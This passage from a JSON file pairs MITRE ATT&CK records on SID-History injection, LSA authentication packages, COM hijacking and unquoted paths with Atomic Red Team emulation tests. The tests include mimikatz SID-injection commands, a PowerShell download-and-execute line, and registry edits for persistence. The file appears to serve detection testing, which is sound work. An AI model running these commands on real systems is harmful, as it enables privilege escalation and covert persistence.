- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Alain Homewood, Insomnia Security",
- "Vincent Le Toux"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b7dc639b-24cd-482d-a7f1-8897eda21023",
- "type": "attack-pattern",
- "created": "2020-02-18T18:34:49.414Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1134.005",
- "url": "https://attack.mitre.org/techniques/T1134/005"
- },
- {
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa379571.aspx",
- "description": "Microsoft. (n.d.). Security Identifiers. Retrieved November 30, 2017.",
- "source_name": "Microsoft SID"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms679833.aspx",
- "description": "Microsoft. (n.d.). Active Directory Schema - SID-History attribute. Retrieved November 30, 2017.",
- "source_name": "Microsoft SID-History Attribute"
- },
- {
- "url": "https://support.microsoft.com/help/243330/well-known-security-identifiers-in-windows-operating-systems",
- "description": "Microsoft. (2017, June 23). Well-known security identifiers in Windows operating systems. Retrieved November 30, 2017.",
- "source_name": "Microsoft Well Known SIDs Jun 2017"
- },
- {
- "url": "https://technet.microsoft.com/library/ee617241.aspx",
- "description": "Microsoft. (n.d.). Active Directory Cmdlets - Get-ADUser. Retrieved November 30, 2017.",
- "source_name": "Microsoft Get-ADUser"
- },
- {
- "url": "https://adsecurity.org/?p=1772",
- "description": "Metcalf, S. (2015, September 19). Sneaky Active Directory Persistence #14: SID History. Retrieved November 30, 2017.",
- "source_name": "AdSecurity SID History Sept 2015"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms677982.aspx",
- "description": "Microsoft. (n.d.). Using DsAddSidHistory. Retrieved November 30, 2017.",
- "source_name": "Microsoft DsAddSidHistory"
- }
- ],
- "modified": "2021-02-09T15:49:58.414Z",
- "name": "Access Token Manipulation: SID-History Injection",
- "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. The Windows security identifier (SID) is a unique value that identifies a user or group account. SIDs are used by Windows security in both security descriptors and access tokens. (Citation: Microsoft SID) An account can hold additional SIDs in the SID-History Active Directory attribute (Citation: Microsoft SID-History Attribute), allowing inter-operable account migration between domains (e.g., all values in SID-History are included in access tokens).\n\nWith Domain Administrator (or equivalent) rights, harvested or well-known SID values (Citation: Microsoft Well Known SIDs Jun 2017) may be inserted into SID-History to enable impersonation of arbitrary users/groups such as Enterprise Administrators. This manipulation may result in elevated access to local resources and/or access to otherwise inaccessible domains via lateral movement techniques such as [Remote Services](https://attack.mitre.org/techniques/T1021), [SMB/Windows Admin Shares](https://attack.mitre.org/techniques/T1021/002), or [Windows Remote Management](https://attack.mitre.org/techniques/T1021/006).",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_detection": "Examine data in user\u2019s SID-History attributes using the PowerShell Get-ADUser
cmdlet (Citation: Microsoft Get-ADUser), especially users who have SID-History values from the same domain. (Citation: AdSecurity SID History Sept 2015) Also monitor account management events on Domain Controllers for successful and failed changes to SID-History. (Citation: AdSecurity SID History Sept 2015) (Citation: Microsoft DsAddSidHistory)\n\nMonitor for Windows API calls to the DsAddSidHistory
function. (Citation: Microsoft DsAddSidHistory)",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Active Directory: Active Directory Object Modification",
- "User Account: User Account Metadata",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "SYSTEM"
- ],
- "identifier": "T1134.005"
- },
- "atomic_tests": [
- {
- "name": "Injection SID-History with mimikatz",
- "auto_generated_guid": "6bef32e5-9456-4072-8f14-35566fb85401",
- "description": "Adversaries may use SID-History Injection to escalate privileges and bypass access controls. Must be run on domain controller\n",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "sid_to_inject": {
- "description": "SID to inject into sidhistory",
- "type": "string",
- "default": "S-1-5-21-1004336348-1177238915-682003330-1134"
- },
- "sam_account_name": {
- "description": "Target account to modify",
- "type": "string",
- "default": "$env:username"
- },
- "mimikatz_path": {
- "description": "Mimikatz windows executable",
- "type": "path",
- "default": "$env:TEMP\\mimikatz\\x64\\mimikatz.exe"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "Mimikatz executor must exist on disk and at specified location (#{mimikatz_path})\n",
- "prereq_command": "$mimikatz_path = cmd /c echo #{mimikatz_path}\nif (Test-Path $mimikatz_path) {exit 0} else {exit 1}\n",
- "get_prereq_command": "[Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12\nIEX (iwr \"https://raw.githubusercontent.com/redcanaryco/invoke-atomicredteam/master/Public/Invoke-FetchFromZip.ps1\" -UseBasicParsing) \n$releases = \"https://api.github.com/repos/gentilkiwi/mimikatz/releases\"\n$zipUrl = (Invoke-WebRequest $releases | ConvertFrom-Json)[0].assets.browser_download_url | where-object { $_.endswith(\".zip\") }\n$mimikatz_exe = cmd /c echo #{mimikatz_path}\n$basePath = Split-Path $mimikatz_exe | Split-Path\nInvoke-FetchFromZip $zipUrl \"x64/mimikatz.exe\" $basePath\n"
- }
- ],
- "executor": {
- "name": "command_prompt",
- "elevation_required": true,
- "command": "#{mimikatz_path} \"privilege::debug\" \"sid::patch\" \"sid::add /sid:#{sid_to_inject} /sam:#{sam_account_name}\" \"exit\"\n",
- "cleanup_command": "#{mimikatz_path} \"sid::clear /sam:#{sam_account_name}\" \"exit\"\n"
- }
- }
- ]
- },
- "T1548.004": {
- "technique": {
- "x_mitre_platforms": [
- "macOS"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Jimmy Astle, @AstleJimmy, Carbon Black",
- "Erika Noerenberg, @gutterchurl, Carbon Black"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--b84903f0-c7d5-435d-a69e-de47cc3578c0",
- "type": "attack-pattern",
- "created": "2020-01-30T14:40:20.187Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1548.004",
- "url": "https://attack.mitre.org/techniques/T1548/004"
- },
- {
- "source_name": "AppleDocs AuthorizationExecuteWithPrivileges",
- "url": "https://developer.apple.com/documentation/security/1540038-authorizationexecutewithprivileg",
- "description": "Apple. (n.d.). Apple Developer Documentation - AuthorizationExecuteWithPrivileges. Retrieved August 8, 2019."
- },
- {
- "source_name": "Death by 1000 installers; it's all broken!",
- "url": "https://speakerdeck.com/patrickwardle/defcon-2017-death-by-1000-installers-its-all-broken?slide=8",
- "description": "Patrick Wardle. (2017). Death by 1000 installers; it's all broken!. Retrieved August 8, 2019."
- },
- {
- "source_name": "Carbon Black Shlayer Feb 2019",
- "url": "https://www.carbonblack.com/2019/02/12/tau-threat-intelligence-notification-new-macos-malware-variant-of-shlayer-osx-discovered/",
- "description": "Carbon Black Threat Analysis Unit. (2019, February 12). New macOS Malware Variant of Shlayer (OSX) Discovered. Retrieved August 8, 2019."
- },
- {
- "source_name": "OSX Coldroot RAT",
- "url": "https://objective-see.com/blog/blog_0x2A.html",
- "description": "Patrick Wardle. (2018, February 17). Tearing Apart the Undetected (OSX)Coldroot RAT. Retrieved August 8, 2019."
- }
- ],
- "modified": "2020-03-27T12:04:37.823Z",
- "name": "Elevated Execution with Prompt",
- "description": "Adversaries may leverage the AuthorizationExecuteWithPrivileges
API to escalate privileges by prompting the user for credentials.(Citation: AppleDocs AuthorizationExecuteWithPrivileges) The purpose of this API is to give application developers an easy way to perform operations with root privileges, such as for application installation or updating. This API does not validate that the program requesting root privileges comes from a reputable source or has been maliciously modified. \n\nAlthough this API is deprecated, it still fully functions in the latest releases of macOS. When calling this API, the user will be prompted to enter their credentials but no checks on the origin or integrity of the program are made. The program calling the API may also load world writable files which can be modified to perform malicious behavior with elevated privileges.\n\nAdversaries may abuse AuthorizationExecuteWithPrivileges
to obtain root privileges in order to install malicious software on victims and install persistence mechanisms.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019)(Citation: OSX Coldroot RAT) This technique may be combined with [Masquerading](https://attack.mitre.org/techniques/T1036) to trick the user into granting escalated privileges to malicious code.(Citation: Death by 1000 installers; it's all broken!)(Citation: Carbon Black Shlayer Feb 2019) This technique has also been shown to work by modifying legitimate programs present on the machine that make use of this API.(Citation: Death by 1000 installers; it's all broken!)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Consider monitoring for /usr/libexec/security_authtrampoline
executions which may indicate that AuthorizationExecuteWithPrivileges
is being executed. MacOS system logs may also indicate when AuthorizationExecuteWithPrivileges
is being called. Monitoring OS API callbacks for the execution can also be a way to detect this behavior but requires specialized security tooling.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Process: Process Creation",
- "Process: OS API Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator",
- "User"
- ],
- "x_mitre_effective_permissions": [
- "root"
- ]
- },
- "atomic_tests": []
- },
- "T1547.002": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "type": "attack-pattern",
- "id": "attack-pattern--b8cfed42-6a8a-4989-ad72-541af74475ec",
- "created": "2020-01-24T14:54:42.757Z",
- "x_mitre_version": "1.0",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1547.002",
- "url": "https://attack.mitre.org/techniques/T1547/002"
- },
- {
- "source_name": "Graeber 2014",
- "url": "http://docplayer.net/20839173-Analysis-of-malicious-security-support-provider-dlls.html",
- "description": "Graeber, M. (2014, October). Analysis of Malicious Security Support Provider DLLs. Retrieved March 1, 2017."
- },
- {
- "source_name": "Microsoft Configure LSA",
- "url": "https://technet.microsoft.com/en-us/library/dn408187.aspx",
- "description": "Microsoft. (2013, July 31). Configuring Additional LSA Protection. Retrieved June 24, 2015."
- },
- {
- "source_name": "MSDN Authentication Packages",
- "url": "https://msdn.microsoft.com/library/windows/desktop/aa374733.aspx",
- "description": "Microsoft. (n.d.). Authentication Packages. Retrieved March 1, 2017."
- }
- ],
- "x_mitre_deprecated": false,
- "revoked": false,
- "description": "Adversaries may abuse authentication packages to execute DLLs when the system boots. Windows authentication package DLLs are loaded by the Local Security Authority (LSA) process at system start. They provide support for multiple logon processes and multiple security protocols to the operating system.(Citation: MSDN Authentication Packages)\n\nAdversaries can use the autostart mechanism provided by LSA authentication packages for persistence by placing a reference to a binary in the Windows Registry location HKLM\\SYSTEM\\CurrentControlSet\\Control\\Lsa\\
with the key value of \"Authentication Packages\"=<target binary>
. The binary will then be executed by the system when the authentication packages are loaded.",
- "modified": "2022-04-20T16:29:36.291Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "name": "Authentication Package",
- "x_mitre_detection": "Monitor the Registry for changes to the LSA Registry keys. Monitor the LSA process for DLL loads. Windows 8.1 and Windows Server 2012 R2 may generate events when unsigned DLLs try to load into the LSA by setting the Registry key HKLM\\SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion\\Image File Execution Options\\LSASS.exe
with AuditLevel = 8. (Citation: Graeber 2014) (Citation: Microsoft Configure LSA)",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- }
- ],
- "x_mitre_is_subtechnique": true,
- "x_mitre_data_sources": [
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "Command: Command Execution"
- ],
- "x_mitre_permissions_required": [
- "Administrator"
- ],
- "x_mitre_attack_spec_version": "2.1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "identifier": "T1547.002"
- },
- "atomic_tests": [
- {
- "name": "Authentication Package",
- "auto_generated_guid": "be2590e8-4ac3-47ac-b4b5-945820f2fbe9",
- "description": "Establishes persistence using a custom authentication package for the Local Security Authority (LSA).\nAfter a reboot, Notepad.exe will be executed as child process of lsass.exe.\nPayload source code: https://github.com/tr4cefl0w/payloads/tree/master/T1547.002/package\n[Related blog](https://pentestlab.blog/2019/10/21/persistence-security-support-provider/)\n",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "Copy-Item $PathToAtomicsFolder\\T1547.002\\bin\\package.dll C:\\Windows\\System32\\\nreg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\\0package.dll\" /f\n",
- "cleanup_command": "reg add \"HKEY_LOCAL_MACHINE\\SYSTEM\\CurrentControlSet\\Control\\Lsa\" /v \"Authentication Packages\" /t REG_MULTI_SZ /d \"msv1_0\" /f\nrm -force C:\\windows\\system32\\package.dll\n",
- "name": "powershell",
- "elevation_required": true
- }
- }
- ]
- },
- "T1546.015": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Elastic"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bc0f5e80-91c0-4e04-9fbb-e4e332c85dae",
- "type": "attack-pattern",
- "created": "2020-03-16T14:12:47.923Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1546.015",
- "url": "https://attack.mitre.org/techniques/T1546/015"
- },
- {
- "url": "https://msdn.microsoft.com/library/ms694363.aspx",
- "description": "Microsoft. (n.d.). The Component Object Model. Retrieved August 18, 2016.",
- "source_name": "Microsoft Component Object Model"
- },
- {
- "url": "https://blog.gdatasoftware.com/2014/10/23941-com-object-hijacking-the-discreet-way-of-persistence",
- "description": "G DATA. (2014, October). COM Object hijacking: the discreet way of persistence. Retrieved August 13, 2016.",
- "source_name": "GDATA COM Hijacking"
- },
- {
- "source_name": "Elastic COM Hijacking",
- "description": "Ewing, P. Strom, B. (2016, September 15). How to Hunt: Detecting Persistence & Evasion with the COM. Retrieved September 15, 2016.",
- "url": "https://www.elastic.co/blog/how-hunt-detecting-persistence-evasion-com"
- }
- ],
- "modified": "2020-11-10T18:19:44.750Z",
- "name": "Event Triggered Execution: Component Object Model Hijacking",
- "description": "Adversaries may establish persistence by executing malicious content triggered by hijacked references to Component Object Model (COM) objects. COM is a system within Windows to enable interaction between software components through the operating system.(Citation: Microsoft Component Object Model) References to various COM objects are stored in the Registry. \n\nAdversaries can use the COM system to insert malicious code that can be executed in place of legitimate software through hijacking the COM references and relationships as a means for persistence. Hijacking a COM object requires a change in the Registry to replace a reference to a legitimate system component which may cause that component to not work when executed. When that system component is executed through normal system operation the adversary's code will be executed instead.(Citation: GDATA COM Hijacking) An adversary is likely to hijack objects that are used frequently enough to maintain a consistent level of persistence, but are unlikely to break noticeable functionality within the system as to avoid system instability that could lead to detection. ",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- }
- ],
- "x_mitre_detection": "There are opportunities to detect COM hijacking by searching for Registry references that have been replaced and through Registry operations (ex: [Reg](https://attack.mitre.org/software/S0075)) replacing known binary paths with unknown paths or otherwise malicious content. Even though some third-party applications define user COM objects, the presence of objects within HKEY_CURRENT_USER\\Software\\Classes\\CLSID\\ may be anomalous and should be investigated since user objects will be loaded prior to machine objects in HKEY_LOCAL_MACHINE\\SOFTWARE\\Classes\\CLSID\\.(Citation: Elastic COM Hijacking) Registry entries for existing COM objects may change infrequently. When an entry with a known good path and binary is replaced or changed to an unusual value to point to an unknown binary in a new location, then it may indicate suspicious behavior and should be investigated. \n\nLikewise, if software DLL loads are collected and analyzed, any unusual DLL load that can be correlated with a COM object Registry modification may indicate COM hijacking has been performed. ",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.0",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "Command: Command Execution",
- "Module: Module Load",
- "Windows Registry: Windows Registry Key Modification",
- "Process: Process Creation"
- ],
- "x_mitre_permissions_required": [
- "User"
- ],
- "identifier": "T1546.015"
- },
- "atomic_tests": [
- {
- "name": "COM Hijacking - InprocServer32",
- "auto_generated_guid": "48117158-d7be-441b-bc6a-d9e36e47b52b",
- "description": "This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via rundll32.exe.\n\nReference: https://bohops.com/2018/06/28/abusing-com-registry-structure-clsid-localserver32-inprocserver32/",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "clsid_threading": {
- "description": "Threading Model",
- "type": "string",
- "default": "Apartment"
- },
- "dllpath": {
- "description": "Path to the DLL.",
- "type": "string",
- "default": "$env:TEMP\\AtomicTest.dll"
- },
- "clsid": {
- "description": "Class ID to hijack.",
- "type": "string",
- "default": "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
- },
- "clsid_description": {
- "description": "Description for CLSID",
- "type": "string",
- "default": "MSAA AccPropServices"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL For testing",
- "prereq_command": "if (Test-Path #{dllpath}) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/AtomicTest.dll\" -OutFile \"#{dllpath}\""
- }
- ],
- "executor": {
- "command": "New-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value #{dllpath}\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-sta #{clsid}'",
- "cleanup_command": "Remove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Recurse -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "Powershell Execute COM Object",
- "auto_generated_guid": "752191b1-7c71-445c-9dbe-21bb031b18eb",
- "description": "Use the PowerShell to execute COM CLSID object.\nReference: https://pentestlab.blog/2020/05/20/persistence-com-hijacking/",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "$o= [activator]::CreateInstance([type]::GetTypeFromCLSID(\"9BA05972-F6A8-11CF-A442-00A0C90A8F39\"))\n$item = $o.Item()\n$item.Document.Application.ShellExecute(\"cmd.exe\",\"/c calc.exe\",\"C:\\windows\\system32\",$null,0)\n",
- "cleanup_command": "Get-Process -Name \"*calc\" | Stop-Process\n",
- "name": "powershell"
- }
- },
- {
- "name": "COM Hijacking with RunDLL32 (Local Server Switch)",
- "auto_generated_guid": "123520cc-e998-471b-a920-bd28e3feafa0",
- "description": "This test uses PowerShell to hijack a reference to a Component Object Model by creating registry values under InprocServer32 key in the HKCU hive then calling the Class ID to be executed via \"rundll32.exe -localserver [clsid]\". \nThis method is generally used as an alternative to 'rundll32.exe -sta [clsid]' to execute dll's while evading detection. \nReference: https://www.hexacorn.com/blog/2020/02/13/run-lola-bin-run/\nUpon successful execution of this test with the default options, whenever certain apps are opened (for example, Notepad), a calculator window will also be opened. ",
- "supported_platforms": [
- "windows"
- ],
- "input_arguments": {
- "clsid_threading": {
- "description": "Threading Model",
- "type": "string",
- "default": "Both"
- },
- "dll_path": {
- "description": "Path to the DLL.",
- "type": "string",
- "default": "$env:temp\\T1546.015_calc.dll"
- },
- "clsid": {
- "description": "Class ID to hijack.",
- "type": "string",
- "default": "{B5F8350B-0548-48B1-A6EE-88BD00B4A5E7}"
- },
- "clsid_description": {
- "description": "Description for CLSID",
- "type": "string",
- "default": "MSAA AccPropServices"
- }
- },
- "dependency_executor_name": "powershell",
- "dependencies": [
- {
- "description": "DLL For testing",
- "prereq_command": "if (Test-Path #{dll_path}) {exit 0} else {exit 1}",
- "get_prereq_command": "Invoke-WebRequest \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/bin/T1546.015_calc.dll\" -OutFile \"#{dll_path}\""
- }
- ],
- "executor": {
- "command": "New-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Value '#{clsid_description}'\nNew-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Value #{dll_path}\nNew-ItemProperty -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}\\InprocServer32' -Name 'ThreadingModel' -Value '#{clsid_threading}' -PropertyType \"String\"\nStart-Process -FilePath \"C:\\Windows\\System32\\RUNDLL32.EXE\" -ArgumentList '-localserver #{clsid}'",
- "cleanup_command": "Remove-Item -Path 'HKCU:\\SOFTWARE\\Classes\\CLSID\\#{clsid}' -Recurse -ErrorAction Ignore",
- "name": "powershell"
- }
- },
- {
- "name": "COM hijacking via TreatAs",
- "auto_generated_guid": "33eacead-f117-4863-8eb0-5c6304fbfaa9",
- "description": "This test first create a custom CLSID class pointing to the Windows Script Component runtime DLL. This DLL looks for the ScriptletURL key to get the location of the script to execute.\nThen, it hijacks the CLSID for the Work Folders Logon Synchronization to establish persistence on user logon by creating the 'TreatAs' with the malicious CLSID as default value. The\ntest is validated by running 'rundll32.exe -sta \"AtomicTest\"' to avoid logging out.\n\nReferences:\n\nhttps://youtu.be/3gz1QmiMhss?t=1251\n\nhttps://github.com/enigma0x3/windows-operating-system-archaeology",
- "supported_platforms": [
- "windows"
- ],
- "executor": {
- "command": "reg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest.1.00\\CLSID\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /ve /T REG_SZ /d \"C:\\WINDOWS\\system32\\scrobj.dll\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\InprocServer32\" /v \"ThreadingModel\" /T REG_SZ /d \"Apartment\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\ScriptletURL\" /ve /T REG_SZ /d \"https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1546.015/src/TreatAs.sct\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\\VersionIndependentProgID\" /ve /T REG_SZ /d \"AtomicTest\" /f\n\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f\nreg add \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\\TreatAs\" /ve /T REG_SZ /d \"{00000001-0000-0000-0000-0000FEEDACDC}\" /f\n\nrundll32.exe -sta \"AtomicTest\" ",
- "cleanup_command": "reg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\AtomicTest\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{00000001-0000-0000-0000-0000FEEDACDC}\" /f\nreg delete \"HKEY_CURRENT_USER\\SOFTWARE\\Classes\\CLSID\\{97D47D56-3777-49FB-8E8F-90D7E30E1A1E}\" /f",
- "name": "powershell"
- }
- }
- ]
- },
- "T1574.009": {
- "technique": {
- "x_mitre_platforms": [
- "Windows"
- ],
- "x_mitre_domains": [
- "enterprise-attack"
- ],
- "x_mitre_contributors": [
- "Stefan Kanthak"
- ],
- "object_marking_refs": [
- "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168"
- ],
- "id": "attack-pattern--bf96a5a3-3bce-43b7-8597-88545984c07b",
- "type": "attack-pattern",
- "created": "2020-03-13T13:51:58.519Z",
- "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "external_references": [
- {
- "source_name": "mitre-attack",
- "external_id": "T1574.009",
- "url": "https://attack.mitre.org/techniques/T1574/009"
- },
- {
- "external_id": "CAPEC-38",
- "source_name": "capec",
- "url": "https://capec.mitre.org/data/definitions/38.html"
- },
- {
- "source_name": "Microsoft CurrentControlSet Services",
- "url": "https://docs.microsoft.com/en-us/windows-hardware/drivers/install/hklm-system-currentcontrolset-services-registry-tree",
- "description": "Microsoft. (2017, April 20). HKLM\\SYSTEM\\CurrentControlSet\\Services Registry Tree. Retrieved March 16, 2020."
- },
- {
- "source_name": "Help eliminate unquoted path",
- "url": "https://isc.sans.edu/diary/Help+eliminate+unquoted+path+vulnerabilities/14464",
- "description": "Mark Baggett. (2012, November 8). Help eliminate unquoted path vulnerabilities. Retrieved November 8, 2012."
- },
- {
- "source_name": "Windows Unquoted Services",
- "url": "https://securityboulevard.com/2018/04/windows-privilege-escalation-unquoted-services/",
- "description": "HackHappy. (2018, April 23). Windows Privilege Escalation \u2013 Unquoted Services. Retrieved August 10, 2018."
- },
- {
- "source_name": "Windows Privilege Escalation Guide",
- "url": "https://www.absolomb.com/2018-01-26-Windows-Privilege-Escalation-Guide/",
- "description": "absolomb. (2018, January 26). Windows Privilege Escalation Guide. Retrieved August 10, 2018."
- }
- ],
- "modified": "2020-09-17T19:05:23.755Z",
- "name": "Hijack Execution Flow: Path Interception by Unquoted Path",
- "description": "Adversaries may execute their own malicious payloads by hijacking vulnerable file path references. Adversaries can take advantage of paths that lack surrounding quotations by placing an executable in a higher level directory within the path, so that Windows will choose the adversary's executable to launch.\n\nService paths (Citation: Microsoft CurrentControlSet Services) and shortcut paths may also be vulnerable to path interception if the path has one or more spaces and is not surrounded by quotation marks (e.g., C:\\unsafe path with space\\program.exe
vs. \"C:\\safe path with space\\program.exe\"
). (Citation: Help eliminate unquoted path) (stored in Windows Registry keys) An adversary can place an executable in a higher level directory of the path, and Windows will resolve that executable instead of the intended executable. For example, if the path in a shortcut is C:\\program files\\myapp.exe
, an adversary may create a program at C:\\program.exe
that will be run instead of the intended program. (Citation: Windows Unquoted Services) (Citation: Windows Privilege Escalation Guide)\n\nThis technique can be used for persistence if executables are called on a regular basis, as well as privilege escalation if intercepted executables are started by a higher privileged process.",
- "kill_chain_phases": [
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "persistence"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "privilege-escalation"
- },
- {
- "kill_chain_name": "mitre-attack",
- "phase_name": "defense-evasion"
- }
- ],
- "x_mitre_detection": "Monitor file creation for files named after partial directories and in locations that may be searched for common processes through the environment variable, or otherwise should not be user writable. Monitor the executing process for process executable paths that are named for partial directories. Monitor file creation for programs that are named after Windows system programs or programs commonly executed without a path (such as \"findstr,\" \"net,\" and \"python\"). If this activity occurs outside of known administration activity, upgrades, installations, or patches, then it may be suspicious.\n\nData and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.",
- "x_mitre_is_subtechnique": true,
- "x_mitre_version": "1.1",
- "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5",
- "x_mitre_data_sources": [
- "File: File Creation",
- "Process: Process Creation",
- "File: File Modification"
- ],
